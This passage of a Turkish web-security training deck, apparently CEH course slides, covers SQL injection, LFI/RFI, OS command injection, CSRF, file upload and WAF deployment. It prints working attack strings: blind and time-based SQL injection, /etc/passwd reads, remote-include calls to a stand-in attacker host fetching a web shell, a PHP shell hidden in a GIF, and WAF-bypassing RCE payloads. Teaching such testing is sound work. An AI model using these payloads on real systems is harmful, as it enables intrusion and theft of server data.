  109. 109. BGA | CEH @BGASecurity SQL - Fonksiyonlar  VERSION  Veritabanı versiyon bilgisi  DISTINCT  Kayıtların unique olarak çekilmesi  ASCII  Ascii ondalık değerinin çekilmesi  MID  Dizginin (string) parçalara bölünmesi
  110. 110. BGA | CEH @BGASecurity SQL - CREATE calisanlar Ad Soyad Cinsiyet Yas Telefon Kemal Kara E 27 534564 Zeynep Lale K 32 535454 Ali Bulut E 42 345345 CREATETABLE calisanlar ( AdVARCHAR(12), SoyadVARCHAR(25), Cinsiyet CHAR(1), Yas NUMBER(3), Telefon CHAR(6) );
  111. 111. BGA | CEH @BGASecurity SQL - SELECT SELECT Ad, Soyad FROM calisanlar WHEREYas > 30; calisanlar Ad Soyad Cinsiyet Yas Telefon Kemal Kara E 27 534564 Zeynep Lale K 32 535454 Ali Bulut E 42 345345 Zeynep Lale Ali Bulut Sonuç:
  112. 112. BGA | CEH @BGASecurity SQL - INSERT calisanlar Ad Soyad Cinsiyet Yas Telefon Zeynep Lale K 32 535454 Ali Bulut E 42 345345 INSERT INTO calisanlarVALUES (“Sinan”, “Ordu”, “E”, “19”, “454321”);
  113. 113. BGA | CEH @BGASecurity SQL - Mantıksal İfadeler  Mantıksal İfade Operatörleri  Değil  Ve  Veya Operatör Açıklama &&, &, and Ve ||, |, or Ya da !, not Değil İfade1 İfade2 İfade1 && ifade2 Doğru Doğru Doğru Doğru Yanlış Yanlış Yanlış Doğru Yanlış Yanlış Yanlış Yanlış İfade !(İfade) - Değili Doğru Yanlış Yanlış Doğru İfade1 İfade2 İfade1 || ifade2 Doğru Doğru Doğru Doğru Yanlış Doğru Yanlış Doğru Doğru Yanlış Yanlış Yanlış
  114. 114. BGA | CEH @BGASecurity SQL Injection - Senaryo SELECT * FROM users WHERE id=$id; SELECT * FROM users WHERE id=100 SELECT * FROM users WHERE id=100 OR 2>1 Dinamik bir SQL sorgusu Normal bir değişken değeri Anormal bir değişken değeri: SQL Enjeksiyonu
  115. 115. BGA | CEH @BGASecurity SQL Injection Çeşitleri  Olma şeklinden  Integer  String  Saldırı Perspektifinden  Kör (Blind)  Zaman Tabanlı  Union  Hata Tabanlı  Out of Band
  116. 116. BGA | CEH @BGASecurity Integer SQL Injection - Test Teknikleri /urundetay.aspx?id=5 Ürün Detayı LedTV Orijinal Cevap select * from products where id=5
  117. 117. BGA | CEH @BGASecurity Integer SQL Injection - Test Teknikleri /urundetay.aspx?id=5’ HATA SAYFASI select * from products where id=5’
  118. 118. BGA | CEH @BGASecurity Integer SQL Injection - Test Teknikleri /urundetay.aspx?id=5 waitfor delay ‘00:00:05’ -- select * from products where id=5 waitfor delay ‘00:00:05’ -- Ürün Detayı LedTV Orijinal Cevap 5 sn gecikmeli
  119. 119. BGA | CEH @BGASecurity Integer SQL Injection - Test Teknikleri /urundetay.aspx?id=5 select * from products where id=5 Ürün Detayı LedTV Orijinal Cevap /urundetay.aspx?id=5 and 5=5 select * from products where id=5 and 5=5 HATA SAYFASI /urundetay.aspx?id=5 and 5=6 Ürün Detayı LedTV Orijinal Cevap select * from products where id=5 and 5=6
  120. 120. BGA | CEH @BGASecurity Integer SQL Enjeksiyonu – Manuel Test Teknikleri  ?id=5  ?id=5’  ?id=5 or 5=5  ?id=5 and 5=5  ?id=5 and 5=6  ?id=5;--testdata  ?id=5 waitfor delay ‘00:00:05’ --
  121. 121. BGA | CEH @BGASecurity String SQL Injection - Test Teknikleri /goster.do?isim=muro Kullanıcı Detayı Muro Orijinal Cevap select * from users where name=‘muro’
  122. 122. BGA | CEH @BGASecurity String SQL Injection - Test Teknikleri HATA SAYFASI /goster.do?isim=muro’ select * from users where name=‘muro’’
  123. 123. BGA | CEH @BGASecurity String SQL Injection - Test Teknikleri Kullanıcı Detayı Muro Orijinal Cevap 5 sn gecikmeli /goster.do?isim=muro’ and SLEEP(5) %23 select * from users where name=‘muro’ and SLEEP(5) # ’
  124. 124. BGA | CEH @BGASecurity String SQL Injection - Test Teknikleri /goster.do?isim=muro select * from users where name=‘muro’ Kullanıcı Detayı Muro Orijinal Cevap /goster.do?isim=muro’ and ‘5’=‘5 select * from users where name=‘muro’ and ‘5’=‘5’ HATA SAYFASI /goster.do?isim=muro’ and ‘5’=‘6 Kullanıcı Detayı Muro Orijinal Cevap select * from users where name=‘muro’ and ‘5’=‘6’
  125. 125. BGA | CEH @BGASecurity Blind SQL Injection Teori - MySQL select version() 5.0.51b-community-nt Veritabanı Versiyonu select mid(version(), 7, 1) b Veritabanı Versiyonunun Yedinci Karakteri select ord(mid(version(), 7, 1)) 98 Versiyonun Yedinci Karakterinin ASCII Değeri
  126. 126. BGA | CEH @BGASecurity Kör SQL Injection /urundetay.aspx?id=5 and ord(mid(version(), 7, 1)) > 63 Ürün Detayı LedTV Orijinal Cevap select * from products where id=5 and ord(mid(version(), 7, 1)) > 63 98 5.0.51b-community-nt b 1 127 63
  127. 127. BGA | CEH @BGASecurity Kör SQL Injection /urundetay.aspx?id=5 and ord(mid(version(), 7, 1)) > 95 Ürün Detayı LedTV Orijinal Cevap select * from products where id=5 and ord(mid(version(), 7, 1)) > 95 98 5.0.51b-community-nt b 63 127 95
  128. 128. BGA | CEH @BGASecurity Kör SQL Injection /urundetay.aspx?id=5 and ord(mid(version(), 7, 1)) > 111 select * from products where id=5 and ord(mid(version(), 7, 1)) > 111 98 5.0.51b-community-nt b HATA SAYFASI 95 127 111
  129. 129. BGA | CEH @BGASecurity Sql Injection İstismar Araçları  Sqlmap  Absinthe  Pangolin  Sqifinder  Sqlninja  Havij
  130. 130. BGA | CEH @BGASecurity SqlMap  Açık kaynak kodlu gelişmiş Sqli istismar aracı  Python kullanılarak geliştirilmiştir.  Bilinen tüm SQLi tiplerini destekler  Kimlik doğrulama gerektiren ekranlar için cookie ile tarama desteği sunar  Bilinen tüm veritabanı sistemlerini destekler  İşletim sistemlerinden shell alma, google’dan arama özellikleri vardır.  WAF, IPS atlatma amaçlı tamper script yazımını destekler.
  131. 131. BGA | CEH @BGASecurity Havij SQLi İstismar Aracı
  132. 132. BGA | CEH @BGASecurity Sqlmap ile Sql İnjection İstismarı  ./sqlmap.py -u 'http://testasp.vulnweb.com/showforum.asp?id=0' -p id –dbs
  133. 133. BGA | CEH @BGASecurity Mysql üzerinden local dosya okuma  Mysql’e komut satırından bağlantı kurulur. mysql -u root –p veya mysql remote_ip –u root –p  Ardından aşağıdaki komut ile local dosyalar okunabilir. select load_file('/etc/passwd'); --
  134. 134. BGA | CEH @BGASecurity Code Injection  Saldırganın hedef web uygulaması üzerine zararlı kod veya kod parçacığı eklemesidir.  Büyük çoğunlukla PHP tabanlı uygulamalar da bulunsa da JEE/ASP.NET uygulamalarında da görmek mümkündür.
  135. 135. BGA | CEH @BGASecurity PHP Include  Karmaşık kodları daha iyi yönetebilmek için modülariteyi arttırmak amacı ile PHP çatısında, bir PHP dosyasına başka bir PHP dosyasının dahil edilmesi özelliği vardır.  Bu işlem için aşağıdaki fonksiyonlar kullanılır  include(dosya_ismi)  require(dosya_ismi)  include_once(dosya_ismi)  require_once(dosya_ismi)
  136. 136. BGA | CEH @BGASecurity PHP Include - Örnek <html> <body> <?php include 'header.php'; ?> <h1>Merhaba <?php echo $user ?> Ana sayfaya Hoşgeldiniz...</h1> ... <?php $user = $_SESSION[‘user’]; ?> header.php index.php
  137. 137. BGA | CEH @BGASecurity PHP Include - Örnek <html> <body> <?php $user = $_SESSION[‘user’]; ?> <h1>Merhaba <?php echo $user ?> Ana sayfaya Hoşgeldiniz...</h1> ... index.php header.php dosyası içeriği kopyalandı ve index.php dosyasına yapıştırıldı.
  138. 138. BGA | CEH @BGASecurity Code Injection - PHP  PHP include/require fonksiyonlarına giden parametre değerleri saldırganlar tarafından değiştirilebilirse,  Diğer sistem ve uygulama dosyaları da çalıştırılacak PHP dosyaları içine kopyalanıp, saldırgana cevap olarak dönebilir.
  139. 139. BGA | CEH @BGASecurity Code Injection - Senaryo /index.php?lang=tr <?php $language = $_REQUEST[‘lang’]; include($language.”.php”); … ?> index.php <?php … ?> tr.php sonuç 1 2 3
  140. 140. BGA | CEH @BGASecurity Code Injection - Saldırı - LFI /index.php?lang=/etc/paswd%00 <?php $language = $_REQUEST[‘lang’]; include($language.”.php”); … ?> index.php root:: guvenlikod:: … /etc/passwd sonuç 1 2 3
  141. 141. BGA | CEH @BGASecurity Code Injection - Saldırı - RFI /index.php?lang=http://www.saldirgan.com/webshell.txt? <?php $language = $_REQUEST[‘lang’]; include($language.”.php”); … ?> index.php sonuç 1 4 www.saldirgan.com php web shell 2 3
  142. 142. BGA | CEH @BGASecurity Örnek Saldırı String’leri RFI-Remote File Inclusion: Uzaktan kod çağırma/dosya dahil etme LFI-Local File Inclusion: Server içinden kod çağırma/dosya dahil etme ?id=http://saldirgan.com/myshell.txt%00 ?id=http://saldirgan.com/myshell.txt? ?id=../../../uploads/myshell.txt ?id=../../../uploads/myshell.txt%00 142
  143. 143. BGA | CEH @BGASecurity Diğer Denetim Teknikleri 143 ?file=.htaccess content.php?file=content.php ?file=../../../../../var/log/apache/error.log%00 ?file=[http|https|ftp]://saldirgan_sunucu/shell.txt%00 ?file=data://text/plain;base64,SSBsb3ZlIFBIUAo= ?file=http://127.0.0.1/yol/xss.php?param=phpkodu
  144. 144. BGA | CEH @BGASecurity DirectoryTraversal  Nam-ı diğer Path Traversal  Sebep:Yetersiz girdi kontrolü(filtreleme)  Amaç:ulaşılması normalde mümkün olmayan dosyalara ulaşma (../../../etc/passwd, ....)
  145. 145. BGA | CEH @BGASecurity GerçekHayattan Örnekler
  146. 146. BGA | CEH @BGASecurity Fimap ile Otomatik RFI/LFI  PHP uygulamalarında otomatik RFI ve LFI bulmak için Python ile yazılmış bir araçtır.  http://code.google.com/p/fimap/  >= Python 2.4  Versiyon alpha_09
  147. 147. BGA | CEH @BGASecurity Fimap - Örnek python fimap.py -u http://sunucu/index.php?pg= -x python >=2.4gereksinimi Parametreler ile beraber denetlenecek URL Başarılı saldırı sonrası interaktif bir oturum açılması
  148. 148. BGA | CEH @BGASecurity Fimap - Reverse Shell 1 2 4 3 5
  149. 149. BGA | CEH @BGASecurity OS Commanding  Uygulamalar geliştirilirken işletim sistemi komutları çalıştırma ihtiyacı olabilir.  Örn: Popüler komut satırı Unix/Linux/Windows uygulamalarına web arayüzü yazılması; ▪ iptables, asterisk, qmail, v.b.  Yetersiz girdi kontrolü nedeniyle saldırganın hedef web uygulamasını kullanarak işletim sisteminde komutlar çalıştırması OS Commanding olarak adlandırılır.
  150. 150. BGA | CEH @BGASecurity OS Commanding - Ön Bilgi KULLANICI KOMUT SATIRI İŞLETİM SİSTEMİ DONANIM
  151. 151. BGA | CEH @BGASecurity OS Commanding - Ön Bilgi ls -al dir .
  152. 152. BGA | CEH @BGASecurity OS Commanding - Unix -| ls -al | ping www.bga.com.tr
  153. 153. BGA | CEH @BGASecurity OS Commanding - Windows -| dir C: | ping www.bga.com.tr
  154. 154. BGA | CEH @BGASecurity OS Commanding - Unix - ; ls -al ; ping www.bga.com.tr
  155. 155. BGA | CEH @BGASecurity OS Commanding - Windows - & dir . & ping www.bga.com.tr
  156. 156. BGA | CEH @BGASecurity OS Commanding - Tanım  Uygulamalar geliştirilirken işletim sistemi komutları çalıştırma ihtiyacı olabilir.  Örn: Popüler komut satırı Unix/Linux/Windows uygulamalarına web arayüzü yazılması; ▪ iptables, asterisk, qmail, v.b.  Yetersiz girdi kontrolü nedeniyle saldırganın hedef web uygulamasını kullanarak işletim sisteminde komutlar çalıştırması OS Commanding olarak adlandırılır.
  157. 157. BGA | CEH @BGASecurity OS Commanding - Senaryo 1. Komut 2. Komut 3. Cevap4. Sayfa + Cevap UYGULAMA
  158. 158. BGA | CEH @BGASecurity OS Commanding - WorkCentre
  159. 159. BGA | CEH @BGASecurity function=HTTP_IP_Restriction_Update&Protocol=tcp&Action=ACCEP T&Chain=INPUT&Interface=eth0&SourceIP=1.2.3.4&Dport=80&SrcPor t=443 OS Commanding - WorkCentre iptables -A -p -i -s -j tcp INPUT eth0 1.2.3.4 ACCEPT
  160. 160. BGA | CEH @BGASecurity www.webguvenligi.org function=HTTP_IP_Restriction_Update&Protocol=tcp&Action=ACCEP T | ping www.webguvenligi.org&Chain=INPUT&Interface=eth0&SourceIP=1.2. 3.4&Dport=80&SrcPort=443 OS Commanding - WorkCentre iptables -A -p -i -s -j tcp INPUT eth0 1.2.3.4 ACCEPT |ping
  161. 161. BGA | CEH @BGASecurity OS Commanding - Test Teknikleri ?id=| dir C: ?id=|| dir C: ?id= & dir C: ?id= && dir C:
  162. 162. BGA | CEH @BGASecurity CSRF:Cross Site Request Forgery  CSRF:Cross Site Request Forgery  Sebebi: Yetersiz girdi kontrolü  Sonuçları: İstem dışı yetkili olaylar  E-posta adresinin başkasına yönlendirilmesi  Kullanılan ADSL modemin DNS adreslerinin değiştirilmesi  Paypal üzerinden otomatik bağış işlemleri
  163. 163. BGA | CEH @BGASecurity Cross Site Request Forgery - CSRF 1. Kurban A sitesine giriş yapar, 2. Kurban zehirli B sitesini tarayıcısında açar, 3. B sitesi Kurbanın tarayıcısına yüklenir yüklenmez, A sitesine istek yapar, 4. A sitesi gelen istekleri Kurbanın yaptığını kabul eder ve işleme alır.
  164. 164. BGA | CEH @BGASecurity CSRF – Ön Bilgi Bir web sitesi diğer sitelere istek gönderebilir <img src=“http://banka.com/index.aspx?data=1”/> <form action=http://banka.com/index.aspx> <input name=data type=hidden value=1/> </form> <script> forms[0].submit(); </script> <iframe src=“http://banka.com/index.aspx?data=1”/> GETPOST
  165. 165. BGA | CEH @BGASecurity CSRF – Ön Şart HTTP/1.1 200 OK Set-Cookie: .ASPXAUTH=78JDAA765462A Content-Length: 55 … POST /login.aspx HTTP/1.1 Host: www.banka.com Content-Length: 55 username=usr&password=web HTTP/1.1 200 OK Content-Length: 324 … POST /transfer.aspx HTTP/1.1 Host: www.banka.com Cookie: ASPXAUTH= 78JDAA765462A Content-Length: 62 fromHsp=1&mktr=5&toHsp=09
  166. 166. BGA | CEH @BGASecurity CSRF – Saldırı 200 OK HTTP/1.1 Content-Length: 1255 … <form action=http://www.banka.com> … </form> GET /blog HTTP/1.1 Host: blog.teknoloji.com 200 OK HTTP/1.1 Content-Length: 324 … POST /transfer.aspx HTTP/1.1 Host: www.banka.com Cookie: .ASPXAUTH=78JDAA765462A Content-Length: 65 fromHsp=1&mktr=3&toHsp=7
  167. 167. BGA | CEH @BGASecurity CSRF – Confused Deputy TARAYICI YetkiliTransfer YetkisizTransfer ? ŞaşkınVekil
  168. 168. BGA | CEH @BGASecurity CSRF – Örnek <iframe style="width: 0px; height: 0px;" name="hidden"></iframe> <form method="post" name="csrf" target="hidden" action="http://amazon.com/gp/product/handle-buy-box" > <input type="hidden" name="ASIN" value="059600656X" /> <input type="hidden" name="offerListingID" value=“X.Ogqf" /> </form> <script> document.csrf.submit(); </script>
  169. 169. BGA | CEH @BGASecurity CSRF - Önlem - Synchronizer Token <form method="post" > <input type="hidden" name="csrf" value="A2355GGras!123" /> <input type="text" name="fiyat" /> <input type="submit" value="GÖNDER" /> </form> <a href="/iptal.htm?urunid=1223&csrf=A2355GGras!123 " ></a>
  170. 170. BGA | CEH @BGASecurity CSRF – Önlem – Akış /ilk.do 1. CSRF token üret (A24!Fe) 2. SessionID ile ilişkilendir 3. Sayfa içinde gönder csrf=A24!Fe SessionID /transfer.do?csrf=A24!Fe CSRF token'ları karşılaştır
  171. 171. BGA | CEH @BGASecurity CSRF - Manuel Test Tekniği  Denetlenen uygulamaya girilir,  Kişisel web proxyler kullanılarak istekler yapılır,  Uygulamadan çıkmadan, web proxy istek/cevap listesinden hassas sonuçlu işlemler tekrarlanır,  Tekrarlanan işlem sonucu orijinal cevap ile aynıysa, CSRF zafiyetinden bahsedilir. 171
  172. 172. BGA | CEH @BGASecurity Cookie Testleri- Oturum Yönetimi  HTTP oturumları cookiler aracılığıyla yönetilir  Cookie değeri olarak kullanıcıların değiştirebileceği anlaşılır bilgiler verilmemesi gerekir.  Admin=true  Login=true/false  Logged_in=1  Oturum bilgisi istemci tarafında değil sunucu tarafında tutulmalıdır  Cookie olarak seçilen değer tahmin edilemez biricik değerlerden oluşmalıdır
  173. 173. BGA | CEH @BGASecurity Parameter Pollution Açıklığı  http://www.example.com/Messages/Message.asp?t=i&c=y&m= <img s&m=rc=&m=ab&m=onerror=prompt(1)&m=>
  174. 174. BGA | CEH @BGASecurity Two Factor Auth Bypass  SMS ile giden parola dönen response içerisinde bir yerlerde geçebilir.  SMS ile gönderilen parola için araya girilerek Cep tel değiştirilebilecek bir yer varsa saldırgan kendi cep telefonuna SMS attırabilir.
  175. 175. BGA | CEH @BGASecurity Parolaların şifreli tutulduğunu belirleme  Parola unuttum özelliği kullanılarak gönderilen yeni parola eskisi ile aynıysa parola bilgisi şifresiz tutuluyor demektir.  Parola resetleme sonrası gelen yeni parola eskisinden farklı ise parola şifreli tutuluyor olabilir  Ya da parola oluşturma sistemi her seferinde değişik parola üretecek şekilde yapılandırılmıştır
  176. 176. BGA | CEH @BGASecurity Öntanımlı Parola Denetimi  Sık kullanılan user/pass ikilileri denenmeli  Tomcat, Jboss gibi bilinen uygulamalara ait öntanımlı parolalar denenmeli
  177. 177. BGA | CEH @BGASecurity ManageEngine Default Parola
  178. 178. BGA | CEH @BGASecurity ManageEngine Default Parola
  179. 179. BGA | CEH @BGASecurity File Upload Fonksiyonu Testleri  File upload özelliğinin tespit edilmesi ve güvenlik açısından irdelenmesi gerekli.  Özellikle java ortamlarında .war dosyalarının upload edilip edilmediği kontrol edilmeli. Başarılı ise cmd.war benzeri shell uygulamlar atılabilir.  Dosya uzantısı client tarafında kontrol ediliyorsa atlatmak mümkündür.  Dosya uzantısı hatalı kontrol edilmiş ise cmd.jpg.php gibi bir shell upload edilebilir.
  180. 180. BGA | CEH @BGASecurity Gif İçerisine Php Kodu Yerleştirme  gifsicle --comment "<?php system($_GET['cmd']); ?>" < test.gif > test.php.gif
  181. 181. BGA | CEH @BGASecurity Information Leakage  En sıcak örneği OpenSSL heartbleed açıklığı  OpenSSL üzerindeki bilgi açığa çıkarma açıklığı kullanılarak SSL akan trafikler okunabilmiş ve kullanıcılara ait username/password , eposta vs. okunabilmiştir.
  182. 182. BGA | CEH @BGASecurity Insecure Direct Object Ref.(IDOR) Açıklığı  Integer veya string bir değeri değiştirerek yetkisiz içeriklere erişim.  Genellikle id benzeri bir değeri değiştirerek diğer kullanıcı bilgilerine (fatura,kişisel bilgi vs.) erişim gerçekleştirme  Fuzzing işlemine tabi tutularak tüm datalar ele geçirilebilir.  https://esube.bgabank.com/ebank/aux/dekont.aspx?FisNumara si=20131109292&pSubeAdi=&Sube=&HesapNo=101160000000 020&Tarih=10.01.2013
  183. 183. BGA | CEH @BGASecurity Remote Code Execution  Hedef sistem üzerinde parametre olarak alınan değerlerin sistem komut satırına gönderilmesi durumlarında ortaya çıkar  Çok karşılaşılan bir açıklık olmamakla beraber zaman zaman çok kritik sistemlerde çıkmaktadır.
  184. 184. BGA | CEH @BGASecurity WAF Atlatarak RCE Çalıştırma  http://www.example.com/bWAPP/phpi.php?message=BGA;syste m('cd+/etc/;cat+passwd’) //system()  http://www.example.com/bWAPP/phpi.php?message=BGA;echo+ shell_exec('cd+/etc/;cat+passwd') //shell_exec  http://www.example.com/bWAPP/phpi.php?message=BGA;echo `cd+/etc/;cat+passwd` //bash script  http://www.example.com/bWAPP/phpi.php?message=BGA;passt hru('cd+/etc/;cat+passwd’) //passthru()
  185. 185. BGA | CEH @BGASecurity Hata Mesajlarından Hassas Bilgi Çıkarma  Hata sayfalarından path bilgisi, source kod, username/password,kullanılan uygulama versiyon v.b bilgiler elde edilebilir.  Uygulamalara olmayan sayfalarda veya hata üretilmesi gereken girdiler uygulamaya sağlandığında kendi özel hata sayfasının bastırılması gerekir.
  186. 186. BGA | CEH @BGASecurity Hata Mesajlarından Bilgi Toplama - I  https://crackstation.net/admin //Özel geliştirilmiş bir hata mesajı 
  187. 187. BGA | CEH @BGASecurity Dizin Listeleme Etkilediği dizine ait tüm alt içerikler görülebilir.
  188. 188. BGA | CEH @BGASecurity Java Applet Tespiti (.jar)  Stored kullanıcı adı ve parolalar için.  Crawling ile bulunamayacak URL’lerin tespiti ve teknik açıklıkların tespiti.
  189. 189. BGA | CEH @BGASecurity Java Applet Decompile Java decompiler uygulaması ile kaynak kodlar incelenbilir.
  190. 190. BGA | CEH @BGASecurity Flash(.swf) DosyaTespiti  Kaynak koddan .swf olarak aratılarak ilgili bağlantıları bulunur.  İlgili bağlantı açıldıktan sonra save as yapılarak locale indirilebilir. Otomatize taramalar için;  Owasp Swf Intruder  Hp SwfScan
  191. 191. BGA | CEH @BGASecurity Flash(.swf) Dosya Decompile - Swfscan
  192. 192. BGA | CEH @BGASecurity Captcha Bypass  Captcha her seferinde değişiyormu?  Captcha sonucu her seferinde değişiyormu (Sayı toplatıp sonucu hep 71 çıkarabilir.)  Üretilen captcha birden fazla istekte kullanılıyor mu?  Captcha text formatında ise kaynak kodda gözükebilir bu değer ile bypass edilebilir.
  193. 193. BGA | CEH @BGASecurity Web’e Yönelik Saldırıları Engelleme  Web saldırıları 80/443 port üzerinden gelmektedir  Güvenlik duvarlarında 80/443 portları açıktır ve gelen saldırı paketleri rahatlıka Firewall’dan geçecektir  Firewall+IPS kullanılıyorsa port 80 içeriğine bakılabilir  IPS kullanılarak statik koruma sağlanır  Açıklığı bilinen uygulamalara yönelik geliştirilmiş imzalarla
  194. 194. BGA | CEH @BGASecurity Web Saldırılarında Firewall/IPS Atlatma Kaynak:Kevvie Fowler
  195. 195. BGA | CEH @BGASecurity Web Application Firewall  HTTP’e özel uygulama seviyesi güvenlik duvarı  Klasik Firewall/IPS’lerden farklı olarak HTTP protokolü ve buna uygun çalışan yazılımlara detaylı erişim kontrolü  Imperva, modsecurity, Breach Security, F5, Citrix Netscaler ...
  196. 196. BGA | CEH @BGASecurity WAF – Güvenlik Modelleri WAF Çalışma Yapısı Positive Sec.Model Negatif Sec. Model Öğrenme Tabanlı
  197. 197. BGA | CEH @BGASecurity WAF Yerleşim Senaryoları  WAF için temelde dört yerleşim senaryosu vardır.  inline bridge  Offline(passive)  Integrated  Reverse proxy
  198. 198. BGA | CEH @BGASecurity Bridge Yerleşim Modeli  WAF cihazının web sunucuların önüne bridge modda yerleştirilerek trafiği üzerinden geçirmesi ve incelemesi sağlanır(IPS benzeri)  Ağ cihazlarında, web sunucularda ya da dns sunucularda herhangi bir değişiklik yapılması gerekmez.
  199. 199. BGA | CEH @BGASecurity Offline(passive) Yerleşim Modeli WAF cihazı web sunucuların olduğu switch mirrorlarak ya da hub aracılığı ile bağlanır ve pasif olarak web sunuculara giden trafiğin bir kopyasını alır.(IDS benzeri) Alınan kopya trafik üzerinde detaylı paket analizi yapılarak zararlı istekler için cevap üretilir, bu cevaplarTCP RST paketleridir.
  200. 200. BGA | CEH @BGASecurity Bütünleşik Yerleşim Modeli  En basit WAF yerleşimidir ve tamamen çalışan işletim sistemine, web sunucusuna bağlıdır.  Microsoft IIS için kullanabileceğiniz xyz ürününü Linux üzerinde ya da Windows üzerinde Apache için kullanamazsınız  Özellikle korunacak sistemlerin sayısı fazla değilse bu tip bir yazılım tercih edilebilir.
  201. 201. BGA | CEH @BGASecurity Reverse Proxy Yerleşim Modeli  Proxy mantığı ile çalışır.  Web sayfasına ulaşmaya çalışan tüm istemciler web sunucu yerine reverse Proxy modundaki WAF sistemine ulaşır ve kontrolden geçtikten sonra sunucuya ulaştırılır  Diğer yöntemlere göre altyapıda en fazla değişiklik gerektiren modeldir.  Sağlıklı çalışacak bir yapı için dns, web sunucu ve network ayarlarında değişiklik gerektirir.
  202. 202. @BGASecurity bgasecurity.com | @bgasecurity Devamı için sonraki bölümlere geçiniz.

×